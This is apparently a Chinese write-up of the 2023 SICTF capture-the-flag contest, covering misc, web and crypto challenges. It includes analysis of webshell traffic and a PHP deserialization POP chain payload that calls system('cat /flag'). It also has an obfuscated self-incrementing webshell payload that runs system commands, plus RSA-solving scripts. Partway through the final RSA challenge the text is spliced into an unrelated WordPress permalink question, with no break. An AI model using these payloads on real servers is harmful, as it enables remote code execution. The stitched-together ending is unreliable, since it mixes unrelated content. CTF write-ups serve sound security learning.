2023 SICTF --- wp
Posted 3tefanie丶zhou
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2023 SICTF --- wp相关的知识,希望对你有一定的参考价值。
文章目录
Misc
签到
stegsolve查看图片信息发现key:SICTF
在公众号 中学生CTF 上 回复 sictf 即可得到flag
SICTFfb23cefd-487f-42dd-a343-2a06194efc60
color
非预期
stegsolve打开图片查看颜色通道,发现二维码,扫描得到flag
SICTF448e8531-c752-4847-ae7e-0e702a8fb915
Hacker
追踪tcp流发现是蚁剑流量
在数据流20发现执行了命令 cat flag.txt
http对象导出流20对应的数据包,base64解密
得到flag的对称加密密文
U2FsdGVkX19bEN3D8vFeG39VyYXPwle2mMQLh5T1HYiSI1XCx7rJhsDnp9qLpUQByITd05Uu05ZAv0o=
查看前面的数据流,在流15发现key : Gui_1s_shumu
然后Rabbit解密得到flag
greek_challenge
简单数学计算,写个交互脚本就行了
from pwn import *
p = remote("ctf.qsnctf.com", 10785)
while True:
math_data = p.recvline()
if b'SICTF' in math_data:
print(math_data)
break
elif b"=" in math_data:
question = math_data[:-5]
get_answer = str(eval(question)).encode()
p.sendline(get_answer)
Hacker2
追踪tcp流,在流0发现上传了一个冰蝎3.0的webshell
由此得到题目要求的密钥
7d7c23e87b47368b
往下翻,在流13发现开始与服务器交互
得到shell名称
she1l
往后解密报文
在流24执行了 ls命令
解密报文得到如下信息
10.txt
5.txt
6.txt
7.txt
8.txt
9.txt
flag.txt
she1l.php
流37执行命令
cat 10.txt
解密响应报文,得到
test
此时可以猜到,后续是找到cat flag.txt的数据包解密即可
最后在流46找到数据包,解密得到
c0rRect!!!
拼接得到flag
SICTFshell名称_密钥_文本文件中存储的字符串
SICTFshe1l_7d7c23e87b47368b_c0rRect!!!
Web
兔年大吉
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy
private $cmd;
private $content;
public function __construct($cmd, $content)
$this->cmd = $cmd;
$this->content = $content;
public function __call($name, $arguments)
call_user_func($this->cmd, $this->content);
public function __wakeup()
die("Wishes can be fulfilled");
class Nevv
private $happiness;
public function __invoke()
return $this->happiness->check();
class Rabbit
private $aspiration;
public function __set($name,$val)
return $this->aspiration->family;
class Year
public $key;
public $rabbit;
public function __construct($key)
$this->key = $key;
public function firecrackers()
return $this->rabbit->wish = "allkill QAQ";
public function __get($name)
$name = $this->rabbit;
$name();
public function __destruct()
if ($this->key == "happy new year")
$this->firecrackers();
else
print("Welcome 2023!!!!!");
if (isset($_GET['pop']))
$a = unserialize($_GET['pop']);
else
echo "过新年啊~过个吉祥年~";
?> 过新年啊~过个吉祥年~
构造pop链子到类Happy中调用__call函数,再使用回调函数call_user_func导致代码执行,获取flag
pop链子如下:
__destruct()->firecrackers()->aspiration->__set()->__get()->__invoke()->__call()
payload如下
pop=O:4:%22Year%22:2:%7Bs:3:%22key%22;s:14:%22happy%20new%20year%22;s:6:%22rabbit%22;O:6:%22Rabbit%22:1:%7Bs:18:%22%00Rabbit%00aspiration%22;O:4:%22Year%22:2:%7Bs:3:%22key%22;s:3:%22123%22;s:6:%22rabbit%22;O:4:%22Nevv%22:1:%7Bs:15:%22%00Nevv%00happiness%22;O:5:%22Happy%22:2:%7Bs:10:%22%00Happy%00cmd%22;s:6:%22system%22;s:14:%22%00Happy%00content%22;s:9:%22cat%20/flag%22;%7D%7D%7D%7D%7D
easypass
自增webshell,且不能出现数字和字母
刚好前几个月g4爷在ctfshow搞过rce大挑战
借鉴一下大佬的Payload
code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /flag
Crypto
ascii
循环异或3,然后base32 base64解密
enc = "a$HVZDZQ@TJUMGLVHZIYUF1U0NNYDURWWDNM6FFYP1OA[TRPHWJZ7R>>>>$"
flag = ""
for i in enc:
flag += chr(ord(i)^3)
print(flag)
#KUYGYRCWIVNDOUKYJZVE2V3MMZGVQTTGMN5EEZS2LBXWQSKTIY4Q====
baby_rsa
多个小因子 大素数分解,直接用sage上的欧拉函数求phi
#sage
import libnum
import gmpy2
n = 157077292656328898849823499976497003976795705913326943955927601882559735301000546878663484930436631929909115065166613744548816622146802007640124796249330573411377703969505934904150600987843325674764620305047603408490558134670867673308099650843329640744997672015466571290660161290811275435569339606335117906571999000341133024698424364682800683662193063661214736762852739324479859236963365531207752799197178993887860855078852702337761399225640575281412171035871278933493943575572155382899938265639764715616686123949482372238288859715465115400317136714757882965887595246507450491169518000205087415380208167764110920711042584766805992237919576823121108078407699912757901788925718859790257450499775129521327827653298451904392241906547672843110356658889638496906522290674659574024024440113632175010053065452660076447040937842478007881589334096496073556056726805396937630799201696246079227214272205462258357482722478243481697053301054600954126539848778226175296162997813416634702496577009409960503948474494741296663849482119365434792563324547643352816519125305335959420429699475765642610737903235960423173
c = 44457399775772165283580795763046604956432217865936749114390645714446263790235445725770165521476841968764175721036280702731933849090719866149354613431301887740671003826556620460836983488011711209908075106260857650574672356032244606425941095128801765463716482316101398637519304864271794460829068714740938719022156283319142938782439784724450045931039355442034325311037568791297455084676548879770834712506552233840348850684727096270392080049993135041218143811167688449496243036317450681348089315258831745988434134987055263393540923865029931594717328162951158311497514418799360413513590684301435386737514918075848373373755748782672860711406169316940293554209702288482064854840802876490202123903888235028119047988176327629542924415737212649237787748145773301112682790682933658516724691338727523894513267588035437093188599375494920656327919129240066252636130803666175859640361767805549884909317548802917210333235914904622641997249853362378711924024129399688535136879208010081166848163897114124726692078532337827810846421365846926064892472698603597461932481745017020417072013702099809833423003201003030492
e = 65537
phi = euler_phi(n)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
#SICTF13578a78-1bd1-483e-8c01-4d501c8b52bb
xy
sage中直接使用two_squares()能得到x,y
然后进行交互即可
#sage
from pwn import *
p = remote("ctf.qsnctf.com", 'port')
while True:
math_data = p.recvline()
if b'SICTF' in math_data:
print(math_data)
break
elif b"number =" in math_data:
x_y_2 = int(math_data.decode()[9::])
x, y = two_squares(x_y_2)
p.sendline(str(x).encode())
p.sendline(str(y).encode())
SICTFde44434b-b88b-4459-9790-4d58ae9b332a
PolyRSA
解方程得到k的值,进而得到p q
from Crypto.Util.number import *
import gmpy2
n = 2931835714514227696649197851452018066969814603905505893064829694548691616628661422451386639398824072768907608195113790730392677411502544741840786734616614308622423513064577929715025601090611378413475093510051291
c = 1162375069210804266034094584942794481470301602122091344590668656120128936761168164673823514232328715217241524062023457713973727518007443604233760475552174214966591823835585191443465256735930086309706593996639864
e = 65537
k = var('k')
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
eq = p*q ==n
rec = solve(eq, k)
print(rec)
k = 10453474106135055672
p = k**5 + 9*k**4 - 20*k**3 + 17*k**5 - 144*k + 47527
q = k**6 - 8*k**3 + 30*k**3 - 149*k**2 - 14*k + 39293
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
flag = long_to_bytes(int(m))
print(flag)
#SICTF5abeab79-0b03-43c9-a56d-34d92f385080
RRRSSSAAA
dp泄露
#coding:utf-8
from Crypto.Util.number import *
import gmpy2
e = 65537
n = 154243858720978602820118866455277758287334223654318945323956633685668127012462551649034724900534326698546179107853501584676890290935304784613676008667655919749627682648852472398117930471389759979432279103098572267738634433626627146280660185675121614094399255782089060202532182667463993275434746386786808729553
dp = 414447829724187823397808703878958757693775250832414113550357728233230359464880433113636330432984183165483109337095394192757735932571515450285102727598243
c = 107353143319003715532284973064969905174389167949274067058206046773012002421251301189097709121034091973243342582216724329271495555062882075119176838856174054763892910473175610614629226628025470613930226188506099489500606701109022668507012376482339056160636468427364776216626364765166621843217027512464383836160
for i in range(1,e+1):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)//i)+1) ==0:
p = ((dp*e-1)//i)+1
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
解出Hint为
Alpha = 8
然后将Alpha带入,简单计算可以得到 n约等于 (816)*(12832)*(40962)*p58,将其系数整除然后开58次方可以得到一个在p附近的数,最后在这个数的前面爆破一下即可得到p。由于p的长度为512bit大于flag(PS:SICTFuuid值
)的长度,所以模p即可得到flag
from Crypto.Util.number import *
import gmpy2
from sympy import *
alpha = 8
n = 510598540378970007468346322989879190780475356832709189528874695730531468123747091318830966440138615736420891392158097533731041150162690662471483619765171875053776526546923686545162088172326434280369545887080098691661618888498451216122577703462656147845476260802989936275927468143618457014875124540773380472942489037761179303561650189545290190421786318533073909424735517884608967725919128200358535113829753453601297612782921831305721998858231417374167746154206561475003022801732102170674160043866579234096945753255309604584663823273990392197858273029361669185072049422597132579136784027822968387907216366150999438414498332890674564920800382005582891491049365978733797356415518435343495821039314228388769356638637099572998812062355774848959446125701462950655806332002764535951282449862140062574418031213788534096501985200284615865248974807525604893147298611402252296159828500266098282909607218395957805357667923653409828275804406466185333491486073920384298557332939701611488655278812282652143513835104674009767479927241052662403578967182673338296967573503287747778401579267126898937724971226916836862238412923209155792382534204896050548824028658237640251964366961727999178646613907934616655737902329568420682808750546571786374023614255135110482419627491157502417864563832543812083026753673687664854910877686333766643694031564516722983669199704788291656757271915091399977189663329054202997146978631991467923388119989473941572476162990901960011968892272676827771256008656450296183884491251752111424531449198118292179798490440493223653950102915889401116251591885909790869073018774674246846164536910633015902964911907187085243240032540938841961345835517368130042501382327926289017383981908729734129193302049155793436988510517701765733605569135643208447952662352778482137713239592896997102366230279153456455232519301534222340901671138239539845240151878610363390683459663471954623868659324304077587611084188341121303918876492043578883059738615210439439368338460631574255417822627815523601923537626576677004085017875860928802762176477815284840936951142176532768517728636562256240668409525184886142801802825451465440993457022771077957094228957592122319682216294509338262739872163482972508991702525289361105971574659126127296233247905505496525683817711366704746617027744889413904684867577081667137187623825349410229389484199608739864221035985277681307389939848405790294473878622092200837753161101695539947514614727699952200114544362051873938505591469240465379091377837297561323297393518152524513948294475770774872596601345526469590486037386767964812631618224527233850818909346007449756779707319609915127618828551910681421647307180399632857248867655836894968134457622987954781685664833951774981383914013420724637676787907498490619865488706542422141338754933476190313653530739822029700217857534243473680585150263523947891501341441371965435851479670882202992955935279933652356336270251591324623898094984119190752775236005057405257945038031382867511822173122001309505728526596893926445291712035117553637589190292816001770554129840326832888707541999454791653742647879694585329112697382151447923691770809327807665376014114552626285289291808032845544905356380497227622738746307685611140483875177839511922977657045680353723672792411661489242162646272105649970359134277499907207906149573299990033858943215801954126448693460102775418225293255402758159431943811872373682053160944887775375465971432320964554947377318554518275854303099420999992690990916801757184853847474379621177976926681977371922191722085164910430032177320954341986984523594583172470609743970245810969858512632597943721628165724329447516823159387734220282510185959768239630017162115072758419177056571781075148374822721899683720488356041096248563880547752710289151512607087038310649235610688255059182467964379544134070766646863815775576049106337955345150055151813028534690066771104188418296440067303355417210829440978858599306487361626723932883675404705319649877631289465547597225908934420304867048341698308940436377375588905463549199568800788130324653074398891097223958392703515180958466771395566567923630440881986781120062769327993137151783189811570714391264155060840731029466593405853721833971303821804104382800673631786729744779165371433211267361024896576031556979771007693215198547296582235167582106419779580693225211695215406540025468141235241168387527901851774993867055740692835931115312659500713701652905802357951993290979099170159167009106534001226859533836082801229997337966972579186548771169099646656172882424089451273021293821026173210665095782802709874946641962115525841325300318524665386511421662860490620819561338110623774842340380068922415609137358448899126553279894950604871889208579886778999174405582160576479554324208876082033912031737086248121899303730781498156597249803927142235444644481388064486155431912003641095674949903404176810866307571531389637794147871012904134653569388493652441432759092336752228939764110397029831387803943394811558386122839568158928461007578259968765727092577006588264867960486472014493774664081407186721351852883527145790575242285664659303948842228766554243966691396492391152581830022133814454196259968655735361775914705332258892954614272244452518449260489348504449204461418971768011384340273291232094176572232837038670467853897665877851434992557429017504229337778470080893449423405491607587635438331476572996201482633587271479001915768182336813417460145272910780420062773057289352127058606048428315185624554551172152106354445240590380140756355226376829443068190672329776832112173322011137862590548721676059398379694994522794474774534579546109677615257696703950497332824299576069196330271666459758430542051969093680846765661685489556479825015505460585577388300005030240514448617715276600874290664416888184557142542207029827016362686924883704397874129412267949416733492080843315519912943048041880665442664534980370689081266908497051077237188221752059058912835617635691061804481035908317765279937217591432632832678806430381325340000898958680468694182993189208039459712391492410123386884340504648296815916980264240229859574883155040793388439699245314010536014311134726579595932201351264754211113984594974123575279085420654342347792446273359397655783349850267895960713020361459104930811498666622216299579774939159380045958811891996366190154624989040001455252320159516822116133341010157165599727635333348456688307169980804760876207246783116588952529877373514768545007418968307885769960168050996962066803264260375707466369627458024513973771207018864983698407016663019106354023164759250846073414341438963394719456500998324900154652118420207057668806120330181700845296117532235012372135050553397046174401449323031309344766628888675704109715329046692002106076405553528413866402862565543443907259825033515101841485790388106868972724754988229771779715569516295419556055234476868558577442887306482605945053829666543946452255290321024138948999088611233226734197091325915223296133751626031378197131875533631358612215053149934608672729194446883476706267066475008836864936670808320239466055935088929279252129128009704233352664523535820092988950793050907265677092793104426094212209504897403359406325045852228354350509453013015487815230129380079713113632363881496974185547766115624580099624722897692297760495094913178120692467666707678647081180656345151015995338390986674404981831649353833607305738823436744297628382797810952028446046016233612873716789383675779820186248250486000672269630344269347652027789034023080859790238772676504723029078903218723114249502157501775936110552413022658586833869562215506206204712447588632398550497708640229614956652263449460598992811393334042395804931240940416629178335447861485028284981615219874331354750385150254017244750993573994159458909546341067039268159319391512934162794663414200907868505060542602841564239761181077333990423542820064315891665379550720216448942932714180923613869070005330476506812100063599659432570925437054287120906048730323556681557905787470647037629769660028387819741611799183349496549168370221978146678987457271259655273299546276899538032070218474555442304430064164467753804089753466882786069297036926063093020795423414152340563079346797084488827259011515774643776620378827875819192074121522712821147817374988804339999134520633699074448564057555026364304855373068414955699295158212425760345481057281658337956841137897162198027254556350868502178340964817530029135654659162400076087528650997151875596189190736466304722028587441680622878918057024286243448077104494316372739218635221411755498456912672491099154558604384574583302548226057069534004474532514444674565766058970748694657151540644416463532338966570743112669782840065402131461088637463019996192189423665651801811614499041923273110971446683450048861113332787126098622974613883291506736280588039145040361795192519576202306796277888696719887642051327259799873478040156450250036778305950744573270786882726162630115640020293415918210448873867037875790399234972055537649774407094382744621251926131880807765203843946682834221238903263352845265134368550124026502981782369374484091775137498831749984649699756860976525160646445060537001
c = 253115882696861779554487345938292412255771799881647139418529776110316574833543582117031272342568575430459314905952354626941545002865043353218635669045915265871642972775405880194041837500933030301101559643082331556259792133914265770011277321617935321719300323723114857898008391353785841258439450032177866355007807845361813136977283545109213430493198916094235809511270824791540421240885366423538125163624737632434253364986810247311310137121583209265508260232778982838239922585728840772765069539019843704134933894217012445171772756942905805958833247052044265466003600910629722931594798802682407019295841377140536927041737927037443196193206920610920616152027539431350582046376109942321688180814628639159092611002119586745436470054162352226206062128417535864198364486814456546813899512111246032879623971646723430263911013953934421030862567262660312757106663098404514431108241759769643551092392016097211209618101988794563218552223522350652570828726004386046876172677187255889934640841476950376101456342377885266913863585968673685231640611141952458600620332442762704802677376172066127754863357798513094266387892501669009317847516005081904507858063408392974684326263548232680111083996992498763583638662934698995721588377577486295864923397838884566002591363876167775938947893024317523914473332780008115210620964673975012276515664989707790808111888059923709709424032084324943933878941971767202443156395598956167995513576016885975415857090393661900881173788804149285329370854907133361405239269839001883780215932255501319935282751662722150285104356909445825965575490687153125159190593339169417449373082556719597648591624877926582748123228916791619154800988647091063473572920159498822430955649992836302898768429135584152059677344526579449913502681082022259529520664590931687928256846264052716176133620708971421030541398065664951831723357949573088226481165378305673969712383299391428295631693551940935292110711600786838334919199400228718620599813469610038676205426205789176846878696825502691272262910116070645457393868500548461673077440227088318332525177786077962585982909081392743452213436515836182492873087382790116829607874601891834450956381641167347006244967114872271767408283976962956202327963560051360585178283111398393814240663020861119306359981430630334461318598527979587651991738077155410459561082855969587807428348055332235383663543270877360885005990943581071646894235729647933857881942189189195964788620972924776284263603338743142601081333393759426665086063113918052529662779617581088219461544284776161000043214576048792205237424276333238729536999315219803320262415310494740314381427923946285760161213220362947401769801899408530366793758455770179787830710159708291366762213895858480581895447937605701967976294322826723710002908404921197204333501928336488397947305981886203744168652324266585388419008971081621735807393236753248807784949240389823583495318481970909905410207082951161566243891352736504918116010116369039285860115045264314986520115486931579850294563988511898210207789585278091744331562435440306243419157138106612870376595860187680854706702407909421715068436372714427218236082664903646274293310236981999552184563717162690049797649823839212948428641211961246994020372045985043109693907890920011143198228522425009411413552816937251104605065484262631052134984041975196066158316728539316465837577421454925621012505465939978745860769266412410473175108380240421475087705951757181461757168338677815812452986583921755020694839797363363307311249420367570717090866380752846555897878685650237637346642193539401438201833185346403605062877792084684272683771839735015283337498160038558348635653941224481910295785285116501946326239892086374010081144224516863123196440545149447005664309128353405186016987671281958337041826577305665892478912776271010271066357329981367353980788588993847131185936689847735929047041314029051457545700919669011204112014052564352320632957908331611320022462796631613884219972422269071268298589221747096536276961463554726902621981273389711126107538396616770804637751124118841962301858772340667285647169295516071291417351553795290483002047002855116662052046862447515571476843385913001114060759767599882959378700457430318160679947689153031111252536648653698635868072349453524450450265014958496714476915022534896426576528489491028234077621089431617892441341198664410406708400370156173070568211502854539941990249474577746472536185129956773137920361061004979366541420081733892603454118545203833668008315423392437574210331211031679435209158850436988826096930076295910932258197276532401830034503398028570597368706451976091707998386103163071231469279666699126382275875173962829109463551947812754153434911705833924801535990861253740518443068695100791524617631226226682802491920470247846246927762442658741534731149936190191134741669581268413685457586938327867569462988338910331717525340793873646410218353118615096094941255932859474449399965424027740205075311581987661492829939946386074588202111636233096871498073399600076147668796886764624006068998515390236711520385369344331289733586378129070011120930867139497016469647770139256166379561148259185252299681193066072563127275184290742531939349156098654001184001243348063200339906305954543817803781232326331345654081522164104784975827168919194777557362236365834937096914829487939959747755207093374099105733589606320772455640174951031739822505062249278488909776716987313377379458624693033973522915797063580904373591261719805553870339975071702080638687886857806337274951585429112769813837646980300888949040432983401843428187162780914073565519403580105327383561446006486718701412016562608825605500961112590477302345651730178759693901300557428323756123791670647014212630060044724149988308865901217845258128031984817442633491863101375940239612729595219828928043724128024483750740580599538517517212764486472388187572451281398441262344908870648971761756059914773648387759025490494844856495504758572571152195406069314725580048905645031348704901406566242414017471985407152758049410320745733568604601728683403735836925849028729792211149822980505866857198870608734138WP - wp_rewrite 页面 404
【中文标题】WP - wp_rewrite 页面 404【英文标题】:WP - wp_rewrite page 404
【发布时间】:2015-09-18 09:16:00
【问题描述】:
如果页面正在使用某个页面主题,则使用 $wp_rewrite 更改永久链接。
导致首页出现 404 错误,并且在管理页面中运行良好。
//Change permalink to subject
function change_permalink_themebasis( $post )
$template = get_post_meta( $post->ID, '_wp_page_template' ,true );
if ( 'page-branches.php' == $template)
global $wp_rewrite;
$wp_rewrite->page_structure = $wp_rewrite->root . 'branches/%pagename%/';
elseif ( 'page-modules.php' == $template)
global $wp_rewrite;
$wp_rewrite->page_structure = $wp_rewrite->root . 'modules/%pagename%/';
else
global $wp_rewrite;
$wp_rewrite->page_structure = $wp_rewrite->root . '%pagename%/';
add_action( 'add_meta_boxes_page', 'change_permalink_themebasis' );
如何解决这个问题?我认为问题在于 add_action 类型“add_meta_boxes_page”,但我找不到合适的。
编辑:
Oke 发现它与以下代码有关:
$wp_rewrite->page_structure = $wp_rewrite->root . 'branches/%pagename%/';
【问题讨论】:
【参考方案1】:
只需转到设置 -> 固定链接,滚动到底部并点击保存更改。
【讨论】:
在编写指导性答案时,澄清是王道 - 或许可以解释一下为什么会这样?
是的,这行不通。 Normaly 这确实有效,因为在保存时它会重写.htaccess。但是有了这个脚本就不行了。幸运的是,它是 2017 年,我在 2015 年解决了这个问题。(不记得如何)感谢您的评论。以上是关于2023 SICTF --- wp的主要内容,如果未能解决你的问题,请参考以下文章